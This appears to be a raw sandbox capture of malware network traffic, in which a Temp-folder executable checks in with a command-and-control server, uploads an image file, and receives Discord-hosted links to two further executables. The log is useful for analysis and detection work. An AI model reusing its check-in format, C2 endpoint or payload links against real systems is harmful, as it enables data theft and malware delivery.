Nov 12, 2021 22:24:17.701277971 CET	14362	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.4	50124	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.786742926 CET	14362	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:17.787223101 CET	14362	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:17.787628889 CET	14373	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:17.787847042 CET	14375	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:17.811633110 CET	14378	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:17.811682940 CET	14384	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:17.811702967 CET	14390	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:17.811722040 CET	14394	OUT	Data Raw: ce 8a f4 54 fe 47 a1 a6 98 18 52 e5 60 a4 88 80 a5 a7 79 6c 3b 52 60 8a 2c 55 c4 c5 28 a2 97 b5 02 0a 5a 29 69 88 4a 5a 29 45 31 05 25 3a 80 29 88 40 29 71 4b 45 31 5c 4c 52 81 4b 8a 31 40 06 29 71 46 29 71 4c 42 52 8a 52 28 02 98 83 14 01 45 2d Data Ascii: TGR`yl;R`,U(Z)iJZ)E1%:)@)qKE1\LRK1@)qF)qLBRR(E-(:RZJQMQKH))%-JZ(J*RbRQNNQi(NRiE-Q!K)jbpHTbT-"'OZ(0idB:sWNrE$gyl:6
Nov 12, 2021 22:24:17.811850071 CET	14398	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:17.811887980 CET	14401	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:17.816914082 CET	14402	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:17.834796906 CET	14413	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.4	50125	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.841648102 CET	14451	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:17.867914915 CET	14453	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49783	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:06.928394079 CET	1149	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:06.958736897 CET	1150	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 63 37 0d 0a 3c 63 3e 31 30 30 30 31 30 35 30 30 31 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 38 37 38 30 33 34 32 30 36 35 37 30 32 30 39 33 33 33 2f 39 30 38 38 31 30 38 38 37 34 31 37 31 37 36 30 38 34 2f 76 6d 73 2e 65 78 65 23 31 30 30 30 31 30 36 30 30 31 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 38 37 38 30 33 34 32 30 36 35 37 30 32 30 39 33 33 33 2f 39 30 38 38 31 30 38 38 36 35 36 31 35 33 34 30 34 32 2f 73 6c 68 6f 73 74 2e 65 78 65 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: c7<c>1000105001https://cdn.discordapp.com/attachments/878034206570209333/908810887417176084/vms.exe#1000106001https://cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49814	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:26.729182959 CET	3672	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:26.729413986 CET	3672	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:26.729672909 CET	3682	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:26.729911089 CET	3685	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:26.752228975 CET	3691	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:26.752279997 CET	3701	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:26.752305031 CET	3704	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:26.752315044 CET	3706	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:26.752332926 CET	3711	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:26.774825096 CET	3716	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:26.774880886 CET	3730	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:26.828059912 CET	3782	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:26 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.4	50126	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.013941050 CET	14454	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.036340952 CET	14455	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 